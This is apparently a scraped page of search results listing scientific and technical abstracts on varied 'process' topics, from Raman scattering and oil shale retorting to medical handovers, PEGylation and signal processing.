RRS) will be made in terms of the number of intermediate molecular states which contribute significantly to the scattered amplitude, and not in terms of excited state lifetimes or virtual versus real processes. The theory of these processes will be reviewed, including the effects of pressure, laser wavelength, and laser spectral distribution on the scattered intensity. The application of these processes to the remote sensing of atmospheric pollutants will be discussed briefly. It will be pointed out that the poor sensitivity of the ORS technique cannot be increased by going toward resonance without also compromising the advantages it has over the RF technique. Experimental results on inelastic light scattering from I(sub 2) vapor will be presented. As a single longitudinal mode 5145 A argon-ion laser line was tuned away from an I(sub 2) absorption line, the scattering was observed to change from RF to ORF. The basis, of the distinction is the different pressure dependence of the scattered intensity. Nearly three orders of magnitude enhancement of the scattered intensity was measured in going from ORF to RF. Forty-seven overtones were observed and their relative intensities measured. The ORF cross section of I(sub 2) compared to the ORS cross section of N2 was found to be 3 x 10(exp 6), with I(sub 2) at its room temperature vapor pressure. 18. Pyrolysis process and apparatus Science.gov (United States) Lee, Chang-Kuei 1983-01-01 This invention discloses a process and apparatus for pyrolyzing particulate coal by heating with a particulate solid heating media in a transport reactor. The invention tends to dampen fluctuations in the flow of heating media upstream of the pyrolysis zone, and by so doing forms a substantially continuous and substantially uniform annular column of heating media flowing downwardly along the inside diameter of the reactor. The invention is particularly useful for bituminous or agglomerative type coals. 19. The Creative Drawing process DEFF Research Database (Denmark) Flensborg, Ingelise ­nec­ting link bet­ween perception and higher mental processes. By this me­ans it also be­comes possible to ex­plain the sche­ma con­cept in a deve­lop­mental perspec­tive. A schema is a mental structure that is constantly modified by experience through perceiving, action and movement, and some of its structure... 20. Processing Nanostructured Structural Ceramics Science.gov (United States) 2006-08-01 aspects of the processing of nanostructured ceramics, viz. • • • The production of a flowable and compactable dry nanopowder suitable for use in... composition due to the different synthesis routes used. Therefore, ‘industry-standard’ dispersants can cause flocculation rather than dispersion...stabilised zirconia (3-YSZ) were no higher than for conventional, micron-sized material of the same composition . However, detailed crystallographic 1. Assessing intern handover processes. Science.gov (United States) Habicht, Robert; Block, Lauren; Silva, Kathryn Novello; Oliver, Nora; Wu, Albert; Feldman, Leonard 2016-06-01 New standards for resident work hours set in 2011 changed the landscape of patient care in teaching hospitals, and resulted in new challenges for US residency training programmes to overcome. One such challenge was a dramatic increase in the number of patient handovers performed by residents. As a result, there is a renewed focus for clinical teachers to develop educational strategies to optimise the patient handover process and improve the quality of patient care and safety. In order to investigate current gaps in resident handovers, we examined the handover processes performed by medicine interns at two academic medical centres in Baltimore, Maryland, USA. We used trained observers to collect data on whether handovers were conducted face to face, with questions asked, in private locations, with written documentation, and without distractions or interruptions. Results were analysed using chi-square tests, and adjusted for clustering at the observer and intern levels. Interns successfully conducted handovers face to face (99.5%), asked questions (85.3%), used private locations (91%), included written handover documentation (95.8%) and did not experience distractions for the majority of the time (87.7%); however, interruptions were pervasive, occurring 41.3 per cent of the time. In order to investigate current gaps in resident handovers, we examined the handover processes performed by medicine interns Interns conducted patient handovers face to face, with questions asked, in private locations, with written documentation and without distractions the majority of the time; however, interruptions during the handover process were common. Exploring gaps at the individual programme level is a critical first step to develop effective teaching strategies to optimise handovers in residency. © 2015 John Wiley & Sons Ltd. 2. Topology and mental processes. Science.gov (United States) McLeay, H 2000-08-01 The study reported here considers the effect of rotation on the decision time taken to compare nonrigid objects, presented as like and unlike pairs of knots and unknots. The results for 48 subjects, 21 to 45 years old, support the notion that images which have a characteristic 'foundation part' are more easily stored and accessed in the brain. Also, there is evidence that the comparison of deformable objects is processed by mental strategies other than self-evident mental rotation. 3. Viruses as living processes. Science.gov (United States) Dupré, John; Guttinger, Stephan 2016-10-01 The view that life is composed of distinct entities with well-defined boundaries has been undermined in recent years by the realisation of the near omnipresence of symbiosis. What had seemed to be intrinsically stable entities have turned out to be systems stabilised only by the interactions between a complex set of underlying processes (Dupré, 2012). This has not only presented severe problems for our traditional understanding of biological individuality but has also led some to claim that we need to switch to a process ontology to be able adequately to understand biological systems. A large group of biological entities, however, has been excluded from these discussions, namely viruses. Viruses are usually portrayed as stable and distinct individuals that do not fit the more integrated and collaborative picture of nature implied by symbiosis. In this paper we will contest this view. We will first discuss recent findings in virology that show that viruses can be 'nice' and collaborate with their hosts, meaning that they form part of integrated biological systems and processes. We further offer various reasons why viruses should be seen as processes rather than things, or substances. Based on these two claims we will argue that, far from serving as a counterexample to it, viruses actually enable a deeper understanding of the fundamentally interconnected and collaborative nature of nature. We conclude with some reflections on the debate as to whether viruses should be seen as living, and argue that there are good reasons for an affirmative answer to this question. Copyright © 2016 Elsevier Ltd. All rights reserved. 4. Image processing occupancy sensor Science.gov (United States) Brackney, Larry J. 2016-09-27 A system and method of detecting occupants in a building automation system environment using image based occupancy detection and position determinations. In one example, the system includes an image processing occupancy sensor that detects the number and position of occupants within a space that has controllable building elements such as lighting and ventilation diffusers. Based on the position and location of the occupants, the system can finely control the elements to optimize conditions for the occupants, optimize energy usage, among other advantages. 5. Evaluation of Long-Term Migration Testing from Can Coatings into Food Simulants: Polyester Coatings. Science.gov (United States) Paseiro-Cerrato, Rafael; Noonan, Gregory O; Begley, Timothy H 2016-03-23 FDA guidance for food contact substances recommends that for food packaging intended for use at sterilized, high temperature processed, or retorted conditions, a migration test with a retort step at 121 °C for 2 h followed by a 10 day migration test at 40 °C should be performed. These conditions are in intended to simulate processing and long-term storage. However, can coatings may be in contact with food for years, and there are very few data evaluating if this short-term testing accurately simulates migration over extended time periods. A long-term migration test at 40 °C with retorted and non-retorted polyester cans using several food simulants (water, 3% acetic acid, 10% ethanol, 50% ethanol, and isooctane) was conducted to verify whether traditional migration testing protocols accurately predict migration from food contact materials used for extended time periods. Time points were from 1 day to 515 days. HPLC-MS/MS was used to analyze polyester monomers, and oligomer migration was monitored using HPLC-DAD/CAD and HPLC-MS. Concentrations of monomers and oligomers increased during the migration experiments, especially in ethanol food simulants. The data suggest that current FDA migration protocols may need to be modified to address changes in migrants as a result of long-term storage conditions. 6. Western states enhanced oil shale recovery program: Shale oil production facilities conceptual design studies report Energy Technology Data Exchange (ETDEWEB) 1989-08-01 This report analyzes the economics of producing syncrude from oil shale combining underground and surface processing using Occidental's Modified-In-Situ (MIS) technology and Lawrence Livermore National Laboratory's (LLNL) Hot Recycled Solids (HRS) retort. These retorts form the basic technology employed for oil extraction from oil shale in this study. Results are presented for both Commercial and Pre-commercial programs. Also analyzed are Pre-commercialization cost of Demonstration and Pilot programs which will confirm the HRS and MIS concepts and their mechanical designs. These programs will provide experience with the circulating Fluidized Bed Combustor (CFBC), the MIS retort, the HRS retort and establish environmental control parameters. Four cases are considered: commercial size plant, demonstration size plant, demonstration size plant minimum CFBC, and a pilot size plant. Budget cost estimates and schedules are determined. Process flow schemes and basic heat and material balances are determined for the HRS system. Results consist of summaries of major equipment sizes, capital cost estimates, operating cost estimates and economic analyses. 35 figs., 35 tabs. 7. Paraho oil shale project. [Coloardo Energy Technology Data Exchange (ETDEWEB) Pforzheimer, H. 1976-01-01 The Paraho Oil Shale Project is a privately financed program to prove the Paraho retorting process and hardware on oil shale at Anvil Points, Colo., near Rifle. The project was launched in late 1973 under the sponsorship of 17 participants many of whom were active in earlier oil shale research. Two new Paraho retorts, a pilot and a semiworks size unit, were installed at Anvil Points. The oil-shale mine on the adjacent Naval Oil Shale Reserve was reactivated. The mine and new retorts were put into operation during 1974. The pilot plant is used to explore operating parameters in order to define conditions for testing in the larger semiworks size retort. The experimental operations in 1974 set the stage for the successful runs in 1975 and early 1976. The results of the Paraho operations to date have been encouraging. They demonstrate that the process works, that the equipment is durable, and that both are environmentally acceptable on a pilot and a semiworks plant scale. 8. Process for protein PEGylation. Science.gov (United States) Pfister, David; Morbidelli, Massimo 2014-04-28 PEGylation is a versatile drug delivery technique that presents a particularly wide range of conjugation chemistry and polymer structure. The conjugated protein can be tuned to specifically meet the needs of the desired application. In the area of drug delivery this typically means to increase the persistency in the human body without affecting the activity profile of the original protein. On the other hand, because of the high costs associated with the production of therapeutic proteins, subsequent operations imposed by PEGylation must be optimized to minimize the costs inherent to the additional steps. The closest attention has to be given to the PEGylation reaction engineering and to the subsequent purification processes. This review article focuses on these two aspects and critically reviews the current state of the art with a clear focus on the development of industrial scale processes which can meet the market requirements in terms of quality and costs. The possibility of using continuous processes, with integration between the reaction and the separation steps is also illustrated. 9. The Caroline interrogatory process Energy Technology Data Exchange (ETDEWEB) Degagne, D. [Alberta Energy and Utilities Board, Calgary, AB (Canada); Gibson, T. [Gecko Management, Calgary, AB (Canada) 1999-11-01 Using the specific case study of the Caroline interrogatory process, an example is given of how an effective communications and public involvement program can re-establish trust and credibility levels within an community after an incident. The public is nervous about sour gas, especially about blowouts of gas from a pipeline. The post-approval period was marked by high expectations and a community consultation program which included a community advisory board, an emergency planning committee, socio-economic factors, and environmental monitoring and studies. Information and education involves newspaper articles, newsletters, tours, public consultation meetings, and weekly e-mail. Mercury was detected as a potential hazard at the site, and company actions are illustrated. Overall lessons learned included: starting early paid off, face to face resident contacts were the most effective, the willingness to make changes was the key to success, the community helped, knowing all the answers is not essential, and there is a need for empathy. The interrogatory process includes a hybrid technique that is comprised of four stages: 1) process review and public input, 2) identification and clarification of issues, 3) responses by industry and government, and 4) a public forum and follow-up action. 10. The Caroline interrogatory process Energy Technology Data Exchange (ETDEWEB) Degagne, D. (Alberta Energy and Utilities Board, Calgary, AB (Canada)); Gibson, T. (Gecko Management, Calgary, AB (Canada)) 1999-01-01 Using the specific case study of the Caroline interrogatory process, an example is given of how an effective communications and public involvement program can re-establish trust and credibility levels within an community after an incident. The public is nervous about sour gas, especially about blowouts of gas from a pipeline. The post-approval period was marked by high expectations and a community consultation program which included a community advisory board, an emergency planning committee, socio-economic factors, and environmental monitoring and studies. Information and education involves newspaper articles, newsletters, tours, public consultation meetings, and weekly e-mail. Mercury was detected as a potential hazard at the site, and company actions are illustrated. Overall lessons learned included: starting early paid off, face to face resident contacts were the most effective, the willingness to make changes was the key to success, the community helped, knowing all the answers is not essential, and there is a need for empathy. The interrogatory process includes a hybrid technique that is comprised of four stages: 1) process review and public input, 2) identification and clarification of issues, 3) responses by industry and government, and 4) a public forum and follow-up action. 11. Process measuring techniques; Prozessmesstechnik Energy Technology Data Exchange (ETDEWEB) Freudenberger, A. 2000-07-01 This introduction into measurement techniques for chemical and process-technical plant in science and industry describes in detail the methods used to measure basic quantities. Most prominent are modern measuring techniques by means of ultrasound, microwaves and the Coriolis effect. Alongside physical and measuring technique fundamentals, the practical applications of measuring devices are described. Calculation examples are given to illustrate the subject matter. The book addresses students of physical engineering, process engineering and environmental engineering at technical schools as well as engineers of other disciplines wishing to familiarize themselves with the subject of process measurement techniques. (orig.) [German] Diese Einfuehrung in die Messtechnik fuer chemische und verfahrens-technische Forschungs- und Produktionsanlagen beschreibt ausfuehrlich die Methoden zur Messung der Basisgroessen. Moderne Messverfahren mit Ultraschall, Mikrowellen und Coriolis-Effekt stehen dabei im Vordergrund. Beruecksichtigung finden sowohl die physikalischen und messtechnischen Grundlagen als auch die praktischen Anwendungen der Geraete. Berechnungsbeispiele dienen der Erlaeuterung und Vertiefung des Stoffes. Angesprochen sind Studenten der Ingenieurstufengaenge Physikalische Technik und Verfahrens- und Umwelttechnik an Fachhochschulen als auch Ingenieure anderer Fachrichtungen, die sich in das Gebiet der Prozessmesstechnik einarbeiten wollen. (orig.) 12. Laser processing of materials J Dutta Majumdar; I Manna 2003-06-01 Light amplification by stimulated emission of radiation (laser) is a coherent and monochromatic beam of electromagnetic radiation that can propagate in a straight line with negligible divergence and occur in a wide range of wavelength, energy/power and beam-modes/configurations. As a result, lasers find wide applications in the mundane to the most sophisticated devices, in commercial to purely scientific purposes, and in life-saving as well as life-threatening causes. In the present contribution, we provide an overview of the application of lasers for material processing. The processes covered are broadly divided into four major categories; namely, laser-assisted forming, joining, machining and surface engineering. Apart from briefly introducing the fundamentals of these operations, we present an updated review of the relevant literature to highlight the recent advances and open questions. We begin our discussion with the general applications of lasers, fundamentals of laser-matter interaction and classification of laser material processing. A major part of the discussion focuses on laser surface engineering that has attracted a good deal of attention from the scientific community for its technological significance and scientific challenges. In this regard, a special mention is made about laser surface vitrification or amorphization that remains a very attractive but unaccomplished proposition. Energy Technology Data Exchange (ETDEWEB) Lauf, R.J.; McMillan, A.D.; Paulauskas, F.L. [Oak Ridge National Lab., TN (United States) 1997-04-01 The purpose of this work is to explore the feasibility of several advanced microwave processing concepts to develop new energy-efficient materials and processes. The project includes two tasks: (1) commercialization of the variable-frequency microwave furnace; and (2) microwave curing of polymeric materials. The variable frequency microwave furnace, whose initial conception and design was funded by the AIM Materials Program, allows the authors, for the first time, to conduct microwave processing studies over a wide frequency range. This novel design uses a high-power traveling wave tube (TWT) originally developed for electronic warfare. By using this microwave source, one can not only select individual microwave frequencies for particular experiments, but also achieve uniform power densities over a large area by the superposition of many different frequencies. Microwave curing of various thermoset resins will be studied because it holds the potential of in-situ curing of continuous-fiber composites for strong, lightweight components or in-situ curing of adhesives, including metal-to-metal. Microwave heating can shorten curing times, provided issues of scaleup, uniformity, and thermal management can be adequately addressed. Energy Technology Data Exchange (ETDEWEB) Lauf, R.J.; McMillan, A.D.; Paulauskas, F.L. [Oak Ridge National Laboratory, TN (United States) 1995-05-01 The purpose of this work is to explore the feasibility of several advanced microwave processing concepts to develop new energy-efficient materials and processes. The project includes two tasks: (1) commercialization of the variable-frequency microwave furnace; and (2) microwave curing of polymer composites. The variable frequency microwave furnace, whose initial conception and design was funded by the AIC Materials Program, will allow us, for the first time, to conduct microwave processing studies over a wide frequency range. This novel design uses a high-power traveling wave tube (TWT) originally developed for electronic warfare. By using this microwave source, one can not only select individual microwave frequencies for particular experiments, but also achieve uniform power densities over a large area by the superposition of many different frequencies. Microwave curing of thermoset resins will be studied because it hold the potential of in-situ curing of continuous-fiber composites for strong, lightweight components. Microwave heating can shorten curing times, provided issues of scaleup, uniformity, and thermal management can be adequately addressed. 15. Spacelab Ground Processing Science.gov (United States) Scully, Edward J.; Gaskins, Roger B. 1982-02-01 Spacelab (SL) ground processing is active at the Kennedy Space Center (KSC). The palletized payload for the second Shuttle launch is staged and integrated with interface verification active. The SL Engineering Model is being assembled for subsequent test and checkout activities. After delivery of SL flight elements from Europe, prelaunch operations for the first SL flight start with receipt of the flight experiment packages and staging of the SL hardware. Experiment operations consist of integrating the various experiment elements into the SL racks, floors and pallets. Rack and floor assemblies with the experiments installed, are integrated into the flight module. Aft end-cone installation, pallet connections, and SL subsystems interface verifications are accomplished, and SL-Orbiter interfaces verified. The Spacelab cargo is then transferred to the Orbiter Processing Facility (OPF) in a controlled environment using a canister/transporter. After the SL is installed into the Orbiter payload bay, physical and functional integrity of all payload-to-Orbiter interfaces are verified and final close-out operations conducted. Spacelab payload activities at the launch pad are minimal with the payload bay doors remaining closed. Limited access is available to the module through the Spacelab Transfer Tunnel. After mission completion, the SL is removed from the Orbiter in the OPF and returned to the SL processing facility for experiment equipment removal and reconfiguration for the subsequent mission. Science.gov (United States) Parliament, Hugh A. 1991-09-01 The design and implementation of a system for the acquisition, processing, and analysis of signal data is described. The initial application for the system is the development and analysis of algorithms for excision of interfering tones from direct sequence spread spectrum communication systems. The system is called the Adaptive Signal Processing Testbed (ASPT) and is an integrated hardware and software system built around the TMS320C30 chip. The hardware consists of a radio frequency data source, digital receiver, and an adaptive signal processor implemented on a Sun workstation. The software components of the ASPT consists of a number of packages including the Sun driver package; UNIX programs that support software development on the TMS320C30 boards; UNIX programs that provide the control, user interaction, and display capabilities for the data acquisition, processing, and analysis components of the ASPT; and programs that perform the ASPT functions including data acquisition, despreading, and adaptive filtering. The performance of the ASPT system is evaluated by comparing actual data rates against their desired values. A number of system limitations are identified and recommendations are made for improvements. 17. Basic Social Processes Directory of Open Access Journals (Sweden) Barney G. Glaser, PhD, Hon. PhD 2005-06-01 Full Text Available The goal of grounded theory is to generate a theory that accounts for a pattern of behavior that is relevant and problematic for those involved. The goal is not voluminous description, nor clever verification. As with all grounded theory, the generation of a basic social process (BSP theory occurs around a core category. While a core category is always present in a grounded research study, a BSP may not be.BSPs are ideally suited to generation by grounded theory from qualitative research because qualitative research can pick up process through fieldwork that continues over a period of time. BSPs are a delight to discover and formulate since they give so much movement and scope to the analyst’s perception of the data. BSPs such as cultivating, defaulting, centering, highlighting or becoming, give the feeling of process, change and movement over time. They also have clear, amazing general implications; so much so, that it is hard to contain them within the confines of a single substantive study. The tendency is to refer to them as a formal theory without the necessary comparative development of formal theory. They are labeled by a “gerund”(“ing” which both stimulates their generation and the tendency to over-generalize them. 18. Processing of lateritic ores Energy Technology Data Exchange (ETDEWEB) Collier, D.E.; Ring, R.J. [Environment Division, Australian Nuclear Science and Technology Organisation, Menai, New South Wales (Australia); McGill, J.; Russell, H. [Energy Resources of Australia Ltd., Ranger Mine, Jabiru, Northern Territory (Australia) 2000-07-01 Highly weathered or lateritic ores that contain high proportions of fine clay minerals present specific problems when they are processed to extract uranium. Of perhaps the greatest significance is the potential of the fine minerals to adsorb dissolved uranium (preg-robbing) from leach liquors produced by processing laterites or blends of laterite and primary ores. These losses can amount to 25% of the readily soluble uranium. The clay components can also restrict practical slurry densities to relatively low values in order to avoid rheology problems in pumping and agitation. The fine fractions also contribute to relatively poor solid-liquid separation characteristics in settling and/or filtration. Studies at ANSTO have characterised the minerals believed to be responsible for these problems and quantified the effects of the fines in these types of ores. Processing strategies were also examined, including roasting, resin-in-leach and separate leaching of the laterite fines to overcome potential problems. The incorporation of the preferred treatment option into an existing mill circuit is discussed. (author) 19. RACORO aerosol data processing Energy Technology Data Exchange (ETDEWEB) Elisabeth Andrews 2011-10-31 The RACORO aerosol data (cloud condensation nuclei (CCN), condensation nuclei (CN) and aerosol size distributions) need further processing to be useful for model evaluation (e.g., GCM droplet nucleation parameterizations) and other investigations. These tasks include: (1) Identification and flagging of 'splash' contaminated Twin Otter aerosol data. (2) Calculation of actual supersaturation (SS) values in the two CCN columns flown on the Twin Otter. (3) Interpolation of CCN spectra from SGP and Twin Otter to 0.2% SS. (4) Process data for spatial variability studies. (5) Provide calculated light scattering from measured aerosol size distributions. Below we first briefly describe the measurements and then describe the results of several data processing tasks that which have been completed, paving the way for the scientific analyses for which the campaign was designed. The end result of this research will be several aerosol data sets which can be used to achieve some of the goals of the RACORO mission including the enhanced understanding of cloud-aerosol interactions and improved cloud simulations in climate models. 20. A Repeatable Collaboration Process for Exploring Business Process Improvement Alternatives NARCIS (Netherlands) Sol, H G; Amiyo, Mercy; Nabukenya, J. 2012-01-01 The dynamic nature of organisations has increased demand for business process agility leading to the adoption of continuous Business Process Improvement (BPI). Success of BPI projects calls for continuous process analysis and exploration of several improvement alternatives. These activities are 1. Use of sodium salt electrolysis in the process of continuous modification of eutectic EN AC-AlSi12 alloy J Pezda; A Białobrzeski 2015-04-01 This paper presents test results concerning the selection of sodium salt for the technology of continuous modification of the EN AC-AlSi12 alloy, which is based on electrolysis of sodium salts, occurring directly in a crucible with liquid alloy. Sodium ions formed as a result of the sodium salt dissociation and the electrolysis are 'transferred' through walls of the retort made of solid electrolyte. Upon contact with the liquid alloy, which functions as a cathode, sodium ions are transformed into the atomic state, modifying the alloy. As a measure of the alloy modification extent, the obtained increase of the tensile strength m and change of metallographic structure are used, confirming obtained modification effect of the investigated alloy. 2. Approximate simulation of Hawkes processes DEFF Research Database (Denmark) Møller, Jesper; Rasmussen, Jakob Gulddahl 2006-01-01 Hawkes processes are important in point process theory and its applications, and simulation of such processes are often needed for various statistical purposes. This article concerns a simulation algorithm for unmarked and marked Hawkes processes, exploiting that the process can be constructed... 3. CONVERGENCE TO PROCESS ORGANIZATION BY MODEL OF PROCESS MATURITY Directory of Open Access Journals (Sweden) Blaženka Piuković Babičković 2015-06-01 Full Text Available With modern business process orientation binds primarily, process of thinking and process organizational structure. Although the business processes are increasingly a matter of writing and speaking, it is a major problem among the business world, especially in countries in transition, where it has been found that there is a lack of understanding of the concept of business process management. The aim of this paper is to give a specific contribution to overcoming the identified problem, by pointing out the significance of the concept of business process management, as well as the representation of the model for review of process maturity and tools that are recommended for use in process management. 4. Time processing in dyscalculia Directory of Open Access Journals (Sweden) marinella eCappelletti 2011-12-01 Full Text Available To test whether atypical number development may affect other types of quantity processing, we investigated temporal discrimination in adults with developmental dyscalculia (DD. This also allowed us to test whether (1 number and time may be sub-served by a common quantity system or decision mechanisms –in which case they may both be impaired, or (2 whether number and time are distinct –and therefore they may dissociate. Participants judged which of two successively presented horizontal lines was longer in duration, the first line being preceded by either a small or a large number prime (‘1’ or ‘9’ or by a neutral symbol (‘#’, or in third task decide which of two Arabic numbers (either ‘1’, ‘5’, ’9’ lasted longer. Results showed that (i DD’s temporal discriminability was normal as long as numbers were not part of the experimental design even as task-irrelevant stimuli; however (ii task-irrelevant numbers dramatically disrupted DD’s temporal discriminability, the more their salience increased, though the actual magnitude of the numbers had no effect; and in contrast (iii controls’ time perception was robust to the presence of numbers but modulated by numerical quantity such that small number primes or numerical stimuli made durations appear shorter than veridical and the opposite for larger numerical prime or numerical stimuli. This study is the first to investigate continuous quantity as time in a population with a congenital number impairment and to show that atypical development of numerical competence leaves continuous quantity processing spared. Our data support the idea of a partially shared quantity system across numerical and temporal dimensions, which allows dissociations and interactions among dimensions; furthermore, they suggest that impaired number in DD is unlikely to originate from systems initially dedicated to continuous quantity processing like time. Energy Technology Data Exchange (ETDEWEB) Matt Ryan; David Humphreys [Mining Attachments (Qld.) Pty Ltd. (Australia) 2009-01-15 The coal mining industry has, for many years, used dry stone dust or calcium carbonate (CaCO{sub 3}) in the prevention of the propagation of coal dust explosions throughout their underground mines in Australia. In the last decade wet stone dusting has been introduced. This is where stone dust and water are mixed together to form a paste like slurry. This mixture is pumped and sprayed on to the underground roadway surfaces. This method solved the contamination of the intake airways but brought with it a new problem known as 'caking'. Caking is the hardened layer that is formed as the stone dust slurry dries. It was proven that this hardened layer compromises the dispersal characteristics of the stone dust and therefore its ability to suppress a coal dust explosion. This project set out to prove a specially formulated, non toxic slurry additive and process that could overcome the caking effect. The slurry additive process combines dry stone dust with water to form a slurry. The slurry is then treated with the additive and compressed air to create a highly vesicular foam like stone dusted surface. The initial testing on a range of additives and the effectiveness in minimising the caking effect of wet dusting were performed at Applied Chemical's research laboratory in Melbourne, Victoria and independently tested at the SGS laboratory in Paget, Queensland. The results from these tests provided the platform to conduct full scale spraying trials at the Queensland Mines Rescue Station and Caledon Coal's Cook Colliery, Blackwater. The project moved into the final stage of completion with the collection of data. The intent was to compare the slurry additive process to dry stone dusting in full-scale methane explosions at the CSIR Kloppersbos explosion facility in Kloppersbos, South Africa. 6. Discovery as a process Energy Technology Data Exchange (ETDEWEB) Loehle, C. 1994-05-01 The three great myths, which form a sort of triumvirate of misunderstanding, are the Eureka! myth, the hypothesis myth, and the measurement myth. These myths are prevalent among scientists as well as among observers of science. The Eureka! myth asserts that discovery occurs as a flash of insight, and as such is not subject to investigation. This leads to the perception that discovery or deriving a hypothesis is a moment or event rather than a process. Events are singular and not subject to description. The hypothesis myth asserts that proper science is motivated by testing hypotheses, and that if something is not experimentally testable then it is not scientific. This myth leads to absurd posturing by some workers conducting empirical descriptive studies, who dress up their study with a hypothesis to obtain funding or get it published. Methods papers are often rejected because they do not address a specific scientific problem. The fact is that many of the great breakthroughs in silence involve methods and not hypotheses or arise from largely descriptive studies. Those captured by this myth also try to block funding for those developing methods. The third myth is the measurement myth, which holds that determining what to measure is straightforward, so one doesnt need a lot of introspection to do science. As one ecologist put it to me Dont give me any of that philosophy junk, just let me out in the field. I know what to measure.` These myths lead to difficulties for scientists who must face peer review to obtain funding and to get published. These myths also inhibit the study of science as a process. Finally, these myths inhibit creativity and suppress innovation. In this paper I first explore these myths in more detail and then propose a new model of discovery that opens the supposedly miraculous process of discovery to doser scrutiny. 7. Solar Flares: Magnetohydrodynamic Processes Directory of Open Access Journals (Sweden) Kazunari Shibata 2011-12-01 Full Text Available This paper outlines the current understanding of solar flares, mainly focused on magnetohydrodynamic (MHD processes responsible for producing a flare. Observations show that flares are one of the most explosive phenomena in the atmosphere of the Sun, releasing a huge amount of energy up to about 10^32 erg on the timescale of hours. Flares involve the heating of plasma, mass ejection, and particle acceleration that generates high-energy particles. The key physical processes for producing a flare are: the emergence of magnetic field from the solar interior to the solar atmosphere (flux emergence, local enhancement of electric current in the corona (formation of a current sheet, and rapid dissipation of electric current (magnetic reconnection that causes shock heating, mass ejection, and particle acceleration. The evolution toward the onset of a flare is rather quasi-static when free energy is accumulated in the form of coronal electric current (field-aligned current, more precisely, while the dissipation of coronal current proceeds rapidly, producing various dynamic events that affect lower atmospheres such as the chromosphere and photosphere. Flares manifest such rapid dissipation of coronal current, and their theoretical modeling has been developed in accordance with observations, in which numerical simulations proved to be a strong tool reproducing the time-dependent, nonlinear evolution of a flare. We review the models proposed to explain the physical mechanism of flares, giving an comprehensive explanation of the key processes mentioned above. We start with basic properties of flares, then go into the details of energy build-up, release and transport in flares where magnetic reconnection works as the central engine to produce a flare. 8. Food Processing Antioxidants. Science.gov (United States) Hidalgo, F J; Zamora, R Food processing has been carried out since ancient times as a way to preserve and improve food nutritional and organoleptic properties. Although it has some undesirable consequences, such as the losses of some nutrients and the potential formation of toxic compounds, a wide range of benefits can be enumerated. Among them, the increased total antioxidant capacity of many processed foods has been known for long. This consequence has been related to both the release or increased availability of natural antioxidants and the de novo formation of substances with antioxidant properties as a consequence of the produced reactions. This review analyzes the chemical changes produced in foods during processing with special emphasis on the formation of antioxidants as a consequence of carbonyl-amine reactions produced by both carbohydrate- and lipid-derived reactive carbonyls. It discusses the lastest advances produced in the characterization of carbonyl-amine adducts and their potential action as primary (free radical scavengers), secondary (chelating and other ways to prevent lipid oxidation), and tertiary (carbonyl scavengers as a way to avoid lipid oxidation consequences) antioxidants. Moreover, the possibility of combining amino compounds with different hydrophobicity, such as aminophospholipids and proteins, with a wide array of reactive carbonyls points out to the use of carbonyl-amine reactions as a new way to induce the formation of a great variety of substances with antioxidant properties and very variable hydrophilia/lipophilia. All presented results point out to carbonyl-amine reactions as an effective method to generate efficacious antioxidants that can be used in food technology. © 2017 Elsevier Inc. All rights reserved. 9. Multivariate Statistical Process Control Process Monitoring Methods and Applications CERN Document Server Ge, Zhiqiang 2013-01-01 Given their key position in the process control industry, process monitoring techniques have been extensively investigated by industrial practitioners and academic control researchers. Multivariate statistical process control (MSPC) is one of the most popular data-based methods for process monitoring and is widely used in various industrial areas. Effective routines for process monitoring can help operators run industrial processes efficiently at the same time as maintaining high product quality. Multivariate Statistical Process Control reviews the developments and improvements that have been made to MSPC over the last decade, and goes on to propose a series of new MSPC-based approaches for complex process monitoring. These new methods are demonstrated in several case studies from the chemical, biological, and semiconductor industrial areas.   Control and process engineers, and academic researchers in the process monitoring, process control and fault detection and isolation (FDI) disciplines will be inter... 10. Coupled Diffusion Processes Institute of Scientific and Technical Information of China (English) 章复熹 2004-01-01 @@ Coupled diffusion processes (or CDP for short) model the systems of molecular motors,which attract much interest from physicists and biologists in recent years[1,2,9,14,4,7,21]. The protein moves along a filament called the track, and it is crucial that there are several inner states of the protein and the underlying chemical reaction causes transitions among different inner states,while chemical energy can be converted to mechanical energy by rachet effects[5,3,2,14,12]. 11. Digital signal processing laboratory CERN Document Server Kumar, B Preetham 2011-01-01 INTRODUCTION TO DIGITAL SIGNAL PROCESSING Brief Theory of DSP ConceptsProblem SolvingComputer Laboratory: Introduction to MATLAB®/SIMULINK®Hardware Laboratory: Working with Oscilloscopes, Spectrum Analyzers, Signal SourcesDigital Signal Processors (DSPs)ReferencesDISCRETE-TIME LTI SIGNALS AND SYSTEMS Brief Theory of Discrete-Time Signals and SystemsProblem SolvingComputer Laboratory: Simulation of Continuous Time and Discrete-Time Signals and Systems ReferencesTIME AND FREQUENCY ANALYSIS OF COMMUNICATION SIGNALS Brief Theory of Discrete-Time Fourier Transform (DTFT), Discrete Fourier Transform 12. Process Analytical Chemistry Energy Technology Data Exchange (ETDEWEB) Veltkamp, David J.(VISITORS); Doherty, Steve D.(BCO); Anderson, B B.(VISITORS); Koch, Mel (University of Washington); Bond, Leonard J.(BATTELLE (PACIFIC NW LAB)); Burgess, Lloyd W.(VISITORS); Ullman, Alan H.(UNKNOWN); Bamberger, Judith A.(BATTELLE (PACIFIC NW LAB)); Greenwood, Margaret S.(BATTELLE (PACIFIC NW LAB)) 1999-06-15 This review of process analytical chemistry is an update to the previous review on this subject published in 1995(A2). The time period covered for this review includes publications written or published from late 1994 until early 1999, with the addition of a few classic references pointing to background information critical to an understanding of a specific topic area. These older references have been critically included as established fundamental works. New topics covered in this review not previously treated as separate subjects in past reviews include sampling systems, imaging (via optical spectroscopy), and ultrasonic analysis. 13. Anaerobic Digestion: Process DEFF Research Database (Denmark) Angelidaki, Irini; Batstone, Damien J. 2011-01-01 Organic waste may degrade anaerobically in nature as well as in engineered systems. The latter is called anaerobic digestion or biogasification. Anaerobic digestion produces two main outputs: An energy-rich gas called biogas and an effluent. The effluent, which may be a solid as well as liquid...... with very little dry matter may also be called a digest. The digest should not be termed compost unless it specifically has been composted in an aerated step. This chapter describes the basic processes of anaerobic digestion. Chapter 9.5 describes the anaerobic treatment technologies, and Chapter 9... 14. Digital signal processing CERN Document Server O'Shea, Peter; Hussain, Zahir M 2011-01-01 In three parts, this book contributes to the advancement of engineering education and that serves as a general reference on digital signal processing. Part I presents the basics of analog and digital signals and systems in the time and frequency domain. It covers the core topics: convolution, transforms, filters, and random signal analysis. It also treats important applications including signal detection in noise, radar range estimation for airborne targets, binary communication systems, channel estimation, banking and financial applications, and audio effects production. Part II considers sel 15. Introduction to information processing CERN Document Server Dietel, Harvey M 2014-01-01 An Introduction to Information Processing provides an informal introduction to the computer field. This book introduces computer hardware, which is the actual computing equipment.Organized into three parts encompassing 12 